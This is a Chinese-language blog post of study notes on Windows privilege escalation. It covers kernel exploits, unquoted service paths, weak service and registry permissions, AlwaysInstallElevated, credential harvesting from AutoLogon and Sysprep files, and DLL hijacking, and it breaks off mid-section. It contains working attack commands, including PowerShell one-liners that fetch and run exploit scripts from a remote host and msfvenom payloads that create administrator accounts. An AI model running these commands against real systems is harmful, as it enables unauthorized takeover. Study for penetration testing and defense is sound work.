前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows 权限提升

Windows 权限提升

作者头像
重生信息安全
发布2020-07-15 15:56:24
3.5K0
发布2020-07-15 15:56:24
举报
文章被收录于专栏:重生信息安全重生信息安全

本篇内容是内网安全攻防:渗透测试实战指南时的阅读笔记,笔记大部分内容均来自此书,另外一部分来源于一些公开文档和非公开文档,参考链接中均有注明。

Windows 内核漏洞提权

参考:

windows-kernel-exploits

微软安全公告

渗透测试小技巧一:寻找EXP

Windows 内核漏洞的关键是目标系统没有安装补丁,如何查询目标系统是否安装补丁?

代码语言:javascript
复制
#查看本地系统补丁
systeminfo |findstr "KB"
wmic qfe get Caption,Description,HotFixID,InstalledOn
#另外两种远程查询的方式需要结合其他远程执行方式,例如 wmic远程,schtasks远程、dcom远程等等,还有一些笔者不知到远程执行方式。
wmic qfe get Caption,Description,HotFixID,InstalledOn |findstr /C:"KB3143141"

得到补丁号之后如何快速找出EXP?

windows-kernel-exploits项目中有一个python脚本将可以将systeminfo中的信息和微软的安全公告数据对比找出合适的exp。

如何只下载git项目的一个文件夹,用DownGit这个工具即可。 cmd复制的时候不要复制多余的空格,笔者使用编辑器为vim,否则会造成字符错位。

代码语言:javascript
复制
systeminfo >>systeminfo.txt #输出
pip install xlrd
./windows-exploit-suggester.py --update 
./windows-exploit-suggester.py -d 2020-05-31-mssb.xls -i systeminfo.txt

这种方法不一定准确,因为新版的系统安装自带补丁,但是systeminfo中不会显示补丁信息。

类似的这种利用cmd指令的方法也很好,参加链接@k0rz3n写了一个利用WUA API的工具,也可以考虑

代码语言:javascript
复制
systeminfo>systeminfo.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type systeminfo.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a systeminfo.txt

在Metasploit中也有检测补丁信息和找到对应exp的模块:

代码语言:javascript
复制
use post/windows/gather/enum_patches 
set session id #id是已经获得的session号
post/multi/recon/local_exploit_suggester
set session id #id是已经获得的session号

@rasta-mouse用Powershell实现了一个好用的脚本,利用WMI查询查询配置从而对比出和市场和EXP

代码语言:javascript
复制
Import-Module Sherlock.ps1 #本地
IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Sherlock.ps1') #远程加载
Find-AllVulns #脚本提供了单个的Find函数,get-command查看

MS16-032(KB3143141)

如何理解微软的漏洞编号和补丁编号,微软每发布一个安全公告,就会为这个安全公告给出一个唯一的编号,格式通常为MS*-*\,比如这里的MS16-032,MS代表Microsoft,16代表2016年,032表示2016年发布的32个安全公告。 在安全公告可以获得的信息:受此漏洞影响的系统和漏洞的严重等级(漏洞导致的结果),不同操作系统对应的补丁,知识库的链接,漏洞的详细信息。 KB(Knowledge Base,知识库)是微软补丁的命名方式,指的是对应微软知识库的那一篇文章,例如这里的KB3143141,访问https://support.microsoft.com/en-us/help/3143141可以看到相关详细信息。 在知识库文章可以获得的信息:补丁所解决的问题,安装补丁的一些条件,其他信息等等。 在安全公告中,会有CVE(Common Vulnerabilities and Exposures,公共漏洞展示)编号,这里是的编号为CVE-2016-0099,CVE编号是由CVE Numbering Authorities (CNAs) ,每个CVE 有CNA机构颁发,这个机构是由美国国土安全部(DHS)网络安全和基础设施安全局(CISA)赞助,另外国内有cnnvd,这个是由中国信息安全测评中心做的,同样有类似的Cnnnvd编号,这里的编号为CNNVD-201603-080,描述的都是同一个漏洞

回到正题,有了MS编号很容易在exploit-db找到exploit(其实有不同的实现方式,比如exploit-db还有C#、Metasploit下的EXP等),另外前文中的 windows-kernel-exploits项目中整理好的exploit。这里笔者使用的是@Evi1cg修改的Invoke-MS16-032.ps1

代码语言:javascript
复制
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 Admin123gT /add'"

部分exp不稳定,可能导致机器蓝屏等,这种动静太大,比如不稳定的CVE-2019-0708

Windows操作系统配置错误提权

划重点:Windows访问控制导致提权

如果某个服务(包括Windwos 系统服务,,System权限)以高权限运行,访问控制列表错误配置,低权限用户可写依赖的DLL、或者服务本身,当服务重启时,服务加载替换的DLL从而获得权限。

这只是笔者个人描述,如果有描述不对的地方,请指正。

下面实验我基本使用的都是PowerUP这个工具,该工具几乎满足了了利用配置错误提权的所有场景。

参考:

Powrshell 提权框架-Powerup

PowerUP-Doc

PowerShell工具之Powerup详解实录

windows配置错误导致的提权——九世

【技术分享】渗透测试技术之另类Windows提权

Windows 本地特权提升技巧——倾旋

代码语言:javascript
复制
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/PowerSploit/Privesc/PowerUp.ps1');Invoke-AllChecks"  #远程加载内存中执行
#如果输出太长,
powershell.exe -nop -exec bypass -C "Import-Module .\PowerUp.ps1;Invoke-AllChecks"  #本地加载
Powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}" #类似
#不想每次都要的加载可以使用 -NOexit 参数

简单介绍下PowerUp提供的函数:

注:笔者使用的是dev分支,且不同Powershell版本支持的命令有点区别,当然如果使用Powershell 3及以上的版本将多两个Alias,分别是Get-CurrentUserTokenGroupSidInvoke-AllChecks,Alias的目标分别是Invoke-PrivescAuditGet-ProcessTokenGroup

代码语言:javascript
复制
#Privilege Enumeration
Get-ProcessTokenGroup #返回当前令牌上下文所属的所有 sid,无论它们是否被禁用
Get-ProcessTokenPrivilege #返回当前(或指定)进程 ID 的所有特权
Enable-Privilege #为当前进程启用特定的特权
#Service Enumeration
Test-ServiceDaclPermission #根据给定的权限集测试一个或多个传递的服务或服务名称
Get-UnquotedService #返回名字中有空格且未加引号的服务路径
Get-ModifiableServiceFile # 返回当前用户可以写入服务二进制路径或其配置的服务路径
Get-ModifiableService #返回当前用户可以修改的服务
Get-ServiceDetail #返回指定服务的详细信息
Set-ServiceBinaryPath  #服务的二进制路径设置为指定的值
Invoke-ServiceAbuse  #修改易受攻击的服务,以创建本地管理员或执行自定义命令
Write-ServiceBinary   #写出一个补丁 c # 服务二进制文件,用于添加本地管理员或执行自定义命令
Install-ServiceBinary  #将服务二进制替换为添加本地管理或执行自定义命令的二进制   
Restore-ServiceBinary   #用原始可执行文件还原被替换的服务二进制文件
#DLL Hijacking 
Find-ProcessDLLHijack  #为当前运行的进程查找潜在的 DLL 劫持机会,查找-路径-劫持-查找服务% PATH% DLL 劫持机会
Find-PathDLLHijack #检查当前%PATH%是否存在哪些目录是当前用户可以写入的
Write-HijackDll  #写出一个可劫持的 DLL

#Registry Checks
Get-RegistryAlwaysInstallElevated  #检查是否设置了 AlwaysInstallElevated 注册表项
Get-RegistryAutoLogon #检查注册表中的自动登录凭据
Get-ModifiableRegistryAutoRun #检查 HKLM autoruns 中任何可修改的二进制文件 / 脚本(或其配置文件)
#Miscellaneous Checks:
Get-ModifiableScheduledTaskFile #查找具有可修改目标文件
Get-UnattendedInstallFile  #查找剩余的无人值守安装文件
Get-Webconfig #检查任何加密的 web.config 字符串  
Get-ApplicationHost #从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。
Get-SiteListPassword  #检索所有找到的 McAfee 的 SiteList.xml 文件的明文密码  
Get-CachedGPPPassword #检查组策略首选项文件中的密码      

#Other Helpers/Meta-Functions
Get-ModifiablePath     #标记输入字符串并返回当前用户可以修改的文件       
Write-UserAddMSI  #写出一个 MSI 安装程序,提示要添加的用户
Invoke-WScriptUACBypass  #通过滥用 wscript.exe 中缺少嵌入清单来执行旁路 UAC 攻击    
Invoke-PrivescAudit   #运行所有当前的升级检查并返回一个报告
#上面的命令描述是我用我机翻翻译的,可能有些词不达意,结合下面的说明理解coommand的作用

这部分会有些枯燥,这里无法全部演示这些命令,具体的函数结合实际下面例子理解。

Get-ProcessTokenGroupwhoami /groups类似,查询当前用户的所属的sid:

Get-ProcessTokenPrivilegewhoami /priv类似,查询当前用户的特权:

参考:

详解令牌篡改攻击(Part 1)

Enable-Privileg:顾名思义,开启特权。

Test-ServiceDaclPermission

参考:Weak Service Permissions

模糊路径提权

参考:

Unquoted Service Paths

这种提权技巧有几种称呼:模糊路径提权、无引号服务路径提权等等,都是同一种东西,Windows调用CreateProcess API 时有一个因为空格引起的加载特性,例如一个服务的加载路径为c:\program files\sub dir\program name,Windows系统将会尝试以下顺序执行:

  • c:\program.exe
  • c:\program files\sub.exe
  • c:\program files\sub dir\program.exe
  • c:\program files\sub dir\program name.exe

参考:CreateProcessA function——MSDN

如果把要执行的payload放在这些目录下,当服务启动时,payload就能以服务的高权限运行(一般是LocalSystem),当前用户需要对目标目录可写。

代码语言:javascript
复制
mkdir "C:\WeakServices\Weak Service"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\Weak Service\service.exe"
sc create WeakService displayName= "Unquoted Service Path" binPath= "C:\WeakServices\Weak Service\service.exe" start= auto obj= "LocalSystem"
#以上操作需要管理员权限操作,写成bat脚本也行,目的是为了注册一个服务

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ #查看服务执行文件不带引号且待空格的服务,且服务启动方式为"auto"
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """ #同样是搜索不带引号且其中有空格的服务
sc qc WeakService #查询服务信息
icacls.exe C:\WeakServices #查看DACL,由于笔者对Windows的访问控制暂存疑惑,这里就不解释了,考虑后面专门整理个人的理解
#主要的目的是为了判断当前用户对目录是否有可写权限
#如果是多级目录,需要在不断查看子目录权限,直到找到可写的目录

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/PowerSploit/Privesc/PowerUp.ps1');Get-UnquotedService"

注册服务之后可以在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WeakService路径下,看到Image Path的值是不带引号的。

那怎样才能安全的设置服务呢?转义就好

代码语言:javascript
复制
sc create WeakService displayName= "Unquoted Service Path" binPath= "\"C:\WeakServices\Weak Service\
service.exe\"" start= auto obj= "LocalSystem"

准备一个msf生成Windows的可执行文件(你用其他也行),在@倾旋博客里发现了一个好用的工具,感受下:

可能会有些不足,但是修改下应该能用

注:记得测试确认payload可正常弹shell

如何重启服务呢?如果有权限直接sc stop WeskService,sc start WeakService,没有权限的话只能等待目标机器重启登录,或者直接shutdown /r /t 0重启登录(注意这样搞动静很大,如果不考虑动静,甚至可以让目标蓝屏使其主动重启),这里只为了验证,这种方式是不会成功的,为什么?

当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。——【技术分享】渗透测试技术之另类Windows提权

后面我还是对这种方式念念不忘,怎么改进这个,比如维权的时候将payload注册服务,但是有个前提是注册的服务需要正常启动,比如你写一个可以正常和服务控制管理器通信的服务,详细的笔者无法做到,这里就不多说了

![](https://cdn.wuhash.com/Unquoted Service Paths_2.jpg)

所以建立的Sesions又很快Died掉,不推荐这种做法,如果真的要用到这个,配合进程注入模块使用post/windows/manage/migrate,迁移到其他稳定的进程。

获得的session 的时间非常短暂,操作空间很小

Metasploit有一个模块exploit/windows/local/unquoted_service_path利用也是该特性进行特权(发现模糊服务路径,写入服务文件,重启服务)但是我没能复现成功,这里不多说了。

Get-UnquotedService的功能其实和wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v类似,不过从使用体验上来说,这个工具更好用,下图是使用的效果。

你可能会好奇前面Session弹回来不是Died掉吗,为什么这样能够成功,虽然服务不能正常启动,但是Write-ServiceBinary写入文件的命令还是正常执行。

代码语言:javascript
复制
Get-UnquotedService #
Write-ServiceBinary #将指定的命令中的补丁添加到预编译的C#服务可执行文件中,并将二进制文件写入指定的ServicePath位置。
#这里我没加任何参数,以默认执行的命令是下面这个,参数也有默认值
net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add
#默认的UserName为John
#默认的Password为Password123!
#默认将将账号添加至Administrators本地组
#timeout是为了控制延时
Write-ServiceBinary -Name WeakService -UserName john -Password Password123! #这样传入的参数
#注:不要被工具限制了想法,这里篇幅有限,不仅仅执行添加用户,务必理解服务只是执行了路径的中命令

参考:Write-ServiceBinary—doc

弱服务权限

参考:

Weak Service Permissions

这种配置错误在第三方软件中可能比较常见,两种错误配置造成了提权的危险性:

  • 低权限用户通过服务器管理器,对服务配置有修改权限,指向其他二进制文件,造成提权
  • 低权限用户可写服务二进制文件所在目录,替换服务文件造成提权

注以:一种是用户对服务有权限,一种是对服务所在的目录有权限。

下面实验的前提是给服务配置了对应的权限,我这里是jerry使用subinacl.exe给予了完全控制的权限:

代码语言:javascript
复制
subinacl.exe   /service WeakService  /Grant=jerry #默认F完全控制的权限
#默认这个subinacl.exe所在的路径为C:\Program Files (x86)\Windows Resource Kits\Tools
#需要用管理员权限,否则无法修改acl

如何找到具有权限对应的权限的服务呢?可以使用Test-ServiceDaclPermission返回对应权限的服务。

代码语言:javascript
复制
Test-ServiceDaclPermission #根据给定的权限集测试一个或多个传递的服务或服务名称,返回当前用户具有指定权限的服务对象。
#你可简单理解powershell版本的accesschk.exe,从服务中过滤权限
Get-Service | Test-ServiceDaclPermission -PermissionSet 'AllAccess'
Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig'
Get-Service | Test-ServiceDaclPermission -Permissions 'Start' |select -First 5Get-Service | Test-ServiceDaclPermission -Permissions 'Stop'
Get-Service | Test-ServiceDaclPermission -Permissions "ChangeConfig"

更多的Permissions和PermissionSet参数请阅读官方文档。

替换服务的二进制文件

代码语言:javascript
复制
Get-ModifiableServiceFile #枚举所有服务,并返回脆弱的服务文件。Get-ModifiableService #枚举当前用户可以修改 binPath 的所有服务并返回服务。Install-ServiceBinary -Name 'WeakService' #将服务二进制替换为添加本地管理或执行自定义命令的二进制Restore-ServiceBinary -Name 'WeakService' #用原始可执行文件还原被替换的服务二进制文件

修改服务的ImagePath键值

代码语言:javascript
复制
Get-ModifiableService #枚举当前用户可以修改 binPath 的所有服务并返回服务。Set-ServiceBinaryPath -Name WeakService -Path 'net user john Password123! /add ' #设置服务启动启动二进制文件,对应在注册表中ImagePath的值Restart-Service WeakService #重启服务

上面这种直接设置binPath的方式相比下面动静显得太大,推荐使用Invoke-ServiceAbuse的方式。

代码语言:javascript
复制
Get-ModifiableService #枚举当前用户可以修改 binPath 的所有服务并返回服务。Invoke-ServiceAbuse -Name 'WeakService' #修改易受攻击的服务,以创建本地管理员或执行自定义命令#这个命令会让你觉得什么都没做,但是用户自定义的命令已经成功执行,实际上它调用了Set-ServiceBinaryPath设置为执行的

如果没有PowerUP支持,是不是没法用呢?需要理解,Set-ServiceBinaryPath之所有对服务启动文件可设置,是因为当前用户对该服务有读写权限,如果没有,则不成功,这里我记录另外一套不使用PowerUp的测试流程.

代码语言:javascript
复制
#这里记录另一套不用PowerUP,使用其他工具来攻击的整个测试过程accesschk.exe /accepteula -ucv "jerry" * |findstr "RW" #jerry是当前用户,查看jerry用户有权限的服务,并从中筛选出有RW权限的服务accesschk.exe /accepteula -uwcqv "Authenticated Users" * #类似的其他指令,有权限的服务sc qc WeakService #查看服务详细信息,挑选高权限服务,例如LocalSystem实际上sc命令也提供了相应的更更改配置命令,sc config WeakService binpath= "cmd.exe /c net user  john Password123!  /add &&  net localgroup Administrators john /add"#只要用户对服务有权限就可以修改#这里用cmd执行了命令,添加了一个用户,添加到管理组中

弱注册表权限

参考:Windows Privilege Escalation — Insecure Service #1

代码语言:javascript
复制
subinacl.exe   /service WeakService  /Deng=jerry#去除之前的用户对服务的权限

为了复现,这里我手动在注册表中给了everone用户完全控制权限,当然,直接给当前用户(我这里jerry)权限也可,由于无法重启服务,重启机器才能重启服务,还是那句话,重启就需要考虑是否动静太大。

如何发现注册表服务项其他用户可写?

代码语言:javascript
复制
.\accesschk.exe "Everyone" -kvuqsw HKLM\SYSTEM\CurrentControlSet\services #检查Everyone对注册表中服务的配置有相关权限的项#这里检查出Everyone用户对WeakService有读写权限accesschk.exe /accepteula "Authenticated Users" -kvuqsw HKLM\SYSTEM\CurrentControlSet\services

使用reg命令修改WeakService项的ImagePath值,用户成功添加,当然你可以构造其他的payload执行你想要的效果。

代码语言:javascript
复制
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WeakService /v ImagePath  /t REG_SZ /d "net user john Password123! /add" /F

AlwaysInstallElevated MSI

参考:

利用AlwaysInstallElevated提权的测试分析

Windows Privilege Escalation Via AlwaysInstallElevated Technique

Always Install Elevated

AlwaysInstallElevated——MSDN

Windows Installer——MSDN

渗透测试中的msiexec

Windows Installer——wiki

Windows Installer——Command-Line Options

AlwaysInstallElevated是一个组策略设置,该设置允许普通用户以System权限安装Windows Installer 程序包(MSI)。

默认未配置,可通过组策略启用:

  • Computer Configuration\Administrative Templates\Windows Components\Windows Installer
  • User Configuration\Administrative Templates\Windows Components\Windows Installer

本地组策略配置后之后不是立即生效的,计算机配置有一个刷新间隔时间(组策略可配置),gpupdate /force可强制更新策略。 亦或者你选择另外一种办法,重启登录。对于计算机配置需要重启系统生效,对于用户配置需要用户注销登录生效

注:Computer Configuration和User Configuration需要都启用,否则无效

如果有权限,也可以直接通过reg命令设置为1启用:

代码语言:javascript
复制
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f && reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f#想一行命令完成的可以使用 /f 和 & 命令链接字符

笔者遇到过修改之后查询值不生效的,推荐直接注册表中修改或者组策略配置

开启之后对应的注册表键值为1

代码语言:javascript
复制
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated#查询这两项是否开启AlwaysInstallElevated

Windows Installer是什么?简单的说是是Windows系统的组件之一,用来管理和配置软件服务。

Windows Installer由Windows Installer service(msiexec.exe)和Installer Database(MSI包)构成,当用户点击msi软件包,系统会自动调用msiexec.exe进行安装等操作。

其实还有Installation Bootstrapper,这里不过多描述

如果我们能构造一个msi包,里面包含里想要执行的payload,Payload将获得System权限,下面演示两个工具构造MSI包进行提权。

PowerUP

代码语言:javascript
复制
Get-RegistryAlwaysInstallElevated #检查是否设置了 AlwaysInstallElevated 注册表项Write-UserAddMSI  #写出一个 MSI 安装程序,提示要添加的用户msiexec.exe /qn /i UserAdd.msi#/qn 安装过程中没有用户界面#/i 正常安装#/quiet 静默安装   #我这里没用

虽然我加了参数,安装过程中仍然弹出了GUI,原因在于我本地的组策略启用了密码复杂度,所以添加失败弹出GUI,手动设置密码之后,添加成功。

Metasploit

代码语言:javascript
复制
msfvenom -p windows/exec CMD="cmd.exe /c net user  john Password123!  /add &&  net localgroup Administrators john /add" -f msi -o UserAdd.msi#使用msfvenom生成一个msi包,这个技巧是从三好学生师傅blog中学来的,建议读blog

@三好学生使用这种方式发现权限是Medium,笔者测试发现权限是System,暂不清楚原因,可能Metasploit更新修复了这个问题。

代码语言:javascript
复制
msfvenom -p windows/exec CMD="calc.exe" -f msi -o UserAdd.msi

msiexec.exe /qn /i UserAdd.msi的过程会有一闪而过的cmd命令行。

代码语言:javascript
复制
#Metasploit中相关的模块,需要一个Session 参数
exploit/windows/local/always_install_elevated

后续的思路

这里在记录两个构造MSI软件包的工具:

  • MSI Wrapper
  • Advanced Installer

@三好学生提到的其他思路

  • msiexec支持从远程加载,例如这样msiexec /q /i http://10.10.10.128/UserAdd.msi 如果是https证书需可信
  • 可创建快捷方式指向msiexec远程加载
  • 可使用OLE对象将快捷方式嵌入到Word文档中
  • msiexec的过程会输出日志到%TEMP%目录下,记得清理

参考:Windows二进制文件的乐趣–使用msiexec绕过应用程序白名单

核心的点就这三点,至于其余的伪装看个人了。

AutoLogon

参考:

Autologon v3.10

How to turn on automatic logon in Windows

这个功能其实很有意思,使Windows自动登录,而不用手动输入密码,具体的图形话操作实现请参考文章开始的链接,我这里使用reg命令行配置相关选项:

代码语言:javascript
复制
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomain /t REG_SZ /d "PC-jack-0day" /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d "jack" /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d "admin" /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d  1 /f#以上操作请用管理员在cmd下执行

配置之后,重启就可以看到效果,如何搜集这种密码?直接读取对应的注册表即可,下面列举几种工具读取注册表:

代码语言:javascript
复制
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName   AltDefaultUserName AltDefaultPassword LastUsedUsername" #command prompt
代码语言:javascript
复制
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*" #Powershell

PowerUP中也提供了Get-RegistryAutoLogon进行注册表查询:

如果用户使用Autologon v3.10来配置自动登录,用户的密码将被加密,上面的方法也会无法读取密码。

技术所限,详细的password存储细节这里不深究了,猜测需要lsa解密之类的。

Autoruns

参考:

Autoruns

Run and RunOnce Registry Keys

简单的介绍这个,大白话说就是开机自启动,和自动启动的服务相似,如果能够替换自启动的二进制文件,那么可以获得自启动的权限,限于知识面,我无法确定自启动获取的权限是什么,虽然我这里实验失败了,备注下以后在研究。

一开始的想法来源于PowerUPGet-ModifiableRegistryAutoRun函数,这个函数会检查以下注册表项:

代码语言:javascript
复制
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"                         "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"                     "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"           "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService"

从中发现可修改自启动项(更准确的说是拥有自启动二进制文件所在目录的权限),因此我构造了一个启动项。

代码语言:javascript
复制
mkdir "c:\calc"copy %windir%\system32\calc.exe c:\calcreg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d "C:\calc\calc.exe" /f #需使用管理员权限

使用Get-ModifiableRegistryAutoRun函数可以成功发现该路径:

后面的过程自然是替换对应的二进制文件,笔者多次测试,发现均无法正常启动,无奈只能放弃,这里记录我使用的payload。

代码语言:javascript
复制
msfvenom  -p windows/exec CMD="whoami > whoami.txt" -f exe -o calc.exe#尝试使用cmd判断当前执行的权限,执行失败msfvenom  -a x64 -p windows/exec CMD="cmd.exe /c net user  john Password123!  /add &&  net localgroup Administrators john /add" -f exe -o calc.exe#和上一条命令相似,如果是管理权限,则替换后成功执行将添加管理员用户

Sysprep

参考:

Sysprep (Generalize) a Windows installation

Sysprep——wiki

Sysprep是一个配置Windows安装时使用的工具,这个工具默认系统自带,路径为C:\Windows\System32\Sysprep\sysprep.exe,通常用于企业用户部署,这里列举他的一些功能,自动配置软件、自动配置账号、自动配置驱动等等,这里不详细介绍,重点介绍这个过程中为了配置会准备账号密码等,而这些配置是保存的infxml文件中的。

PowerUP的Get-UnattendedInstallFile将从枚举以下这些文件,从中发现是否有账号密码。

代码语言:javascript
复制
c:\sysprep\sysprep.xmlc:\sysprep\sysprep.infc:\sysprep.inf$Env:WinDir "\Panther\Unattended.xml"$Env:WinDir "\Panther\Unattend\Unattended.xml"$Env:WinDir "\Panther\Unattend.xml"$Env:WinDir "\Panther\Unattend\Unattend.xml"$Env:WinDir "\System32\Sysprep\unattend.xml"$Env:WinDir "\System32\Sysprep\Panther\unattend.xml"

DLL Hijacking

参考:

Powersploit-Doc

T1038: DLL Hijacking

DLL Hijacking

DLL劫持、COM劫持、Bypass UAC利用与挖掘

Windows DLL Hijacking (Hopefully) Clarified

某种意义上来说,这一篇可以说是该篇的翻译,但是我修改了作者的一些表述,他不是作者的原意,只是笔者个人的理解,建议看原文。

DLL Hijacking,中文为DLL 劫持,需要说明的是这是一种技巧,准确的描述为DLL搜索顺序劫持。

什么是DLL

DLL的全称是Dynamic Link Library, 中文叫做“动态链接文件”。它解决了什么问题?笔者的答案是代码复用。

使用 DLL 有助于促进代码的模块化、代码重用、内存的有效使用和减少所占用的磁盘空间。因此,操作系统和程序能够更快地加载和运行,并且在计算机中占用较少的磁盘空间。——什么是 DLL?

DLL加载过程

程序加载DLL时,可以使用两种链接方法来调用DLL:

  • 加载时动态链接:编译和链接应用程序时提供头文件(.h)和导入库文件(.lib),链接器将向系统提供加载DLL所需的信息,加载时解析导出的DLL函数位置。
  • 运行时动态链接:应用程序调用 LoadLibrary 函数或 LoadLibraryEx函数以在运行时加载 DLL,加载DLL之后, 使用GetProcAddress函数获得要调用的导出的 DLL 函数的地址

这两种说法可能比较陌生,换一种常见的说法,隐式加载和显式加载。

可能更陌生了,了解这个就好。

根据MSDN文档,这两个函数的原型如下:

代码语言:javascript
复制
HMODULE LoadLibrary(LPCSTR lpLibFileName);#lpLibFileName 加载的DLL或exe的名称#如果指定完整路径,则该函数仅在该路径中搜索#如果指定相对路径或不带路径,则该函数使用标准搜索策略查找HMODULE LoadLibraryEx(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);

那么标准搜索策略是怎样的?

参考:Dynamic-Link Library Search Order

  • DLLs already loaded in memory :内存中已经加载的DLL
  • Known DLLs Known DLLs是系统启动默认加载的DLL,对应的值在HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中。
  • Application’s Directory:程序所在目录
  • System directory:系统目录, 使用GetSystemDirectory函数获取此目录的路径,%windir%\System32的值, 另外Windows会将该路径重定向至%windir%\SysWOW64,一般值为C:\WINDOWS\SysWOW64
  • 16-bit system directory:16位系统目录 %windir%\System的值,一般值为C:\WINDOWS\System
  • Windows directory:Windows目录 使用GetWindowsDirectory函数获取此目录的路径,%windir%的值,一般值为C:\WINDOWS
  • Current directory:工作目录 使用GetCurrentDirectory函数获取当前目录
  • Directories listed in %PATH%:PATH环境变量中列出的目录

绿色部分是安全的(从权限提升的角度),如果在已加载的内存中的DLL(包括Known DLLs)没找到,程序会从程序的目录中加载它,如果成功,搜索将停止,否则继续在ystem directory搜索,以此类推……。

这里构建里一个控制台应用调用DLL,使用ProcessMonitor监控加载DLL的过程。

代码语言:javascript
复制
#include <windows.h>#include <wchar.h>#include <stdlib.h>int main(int argc, char* argv[]) {    HMODULE hModule = LoadLibrary(argv[1]);    if (hModule) {        wprintf(L"LoadLibrary() OK\n");        FreeLibrary(hModule);    }    else {        wprintf(L"LoadLibrary() KO - Error: %d\n", GetLastError());    }}

高级属性里配置为多字节字符集 C/C++代码生成运行库配置为多线程(/MT)

笔者在这里加载一个不存在的DLL,ProcessMonitor的Filter里配置Process NameLoadLibrary.exe,可以看到加载顺序和上面所说的DLL相同:

这个搜索顺序对于高权限用户是否也使用呢?我用psexec.exe -accepteula -s -i -d cmd.exe在本地开了一个nt authority\systemcmd

可以看到顺序几乎相同,可能PATH变量中的有一些差异,比如%USERPROFILE%\AppData\Local\Microsoft\WindowsApps在低特权用户是C:\Users\*****\AppData\Local\Microsoft\WindowsApps,在nt authority\system则是C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps

另外标准的搜索策略取决于是否启用的安全DLL搜索模式(safe DLL search mode),安全DLL搜索模式会将用户当前目录放在搜索顺序的后面。

从Windows XP SP2 开始默认启用安全DLL搜索模式。

组策略中也有对应的选项,其选项为Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> “MSS: (SafeDllSearchMode) Enable Safe DLL search mode (recommended) 我这里简单描述下开启这个选项的过程,默认未显示,安装LocalGPO.msi,在安装目录下使用管理员权限执行cscript LocalGPO.wsf /ConfigSCE即刻显示该设置。 参考:Missing MSS Settings in Security Options of Group Policy (GPO)

对应的注册表选项为HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,默认启用值为1,修改为0则禁用,这里展示禁用安全模式之后的搜索顺序,可以看到禁用安全DLL搜索模式之后,搜索完Application’s Directory,接着就搜索Current directory:

介绍了这么多,终于了解了DLL的搜索顺序,对我们有什么意义呢?前面加载顺序蓝色部分可以理解安全的(默认情况下用户对这些目录没有写入的权限),最容易权限配置错误是程序所在目录和PATH变量中的目录,如果用户对这些权限拥有写入的权限,例如在程序所在目录写入一个恶意的DLL,那么DLL就能成功的获取程序的特权。

如何攻击

Windows的默认安装不容易受到DLL 劫持,标准搜索策略中都配置了适当的权限,那么这种技术还有什么用?

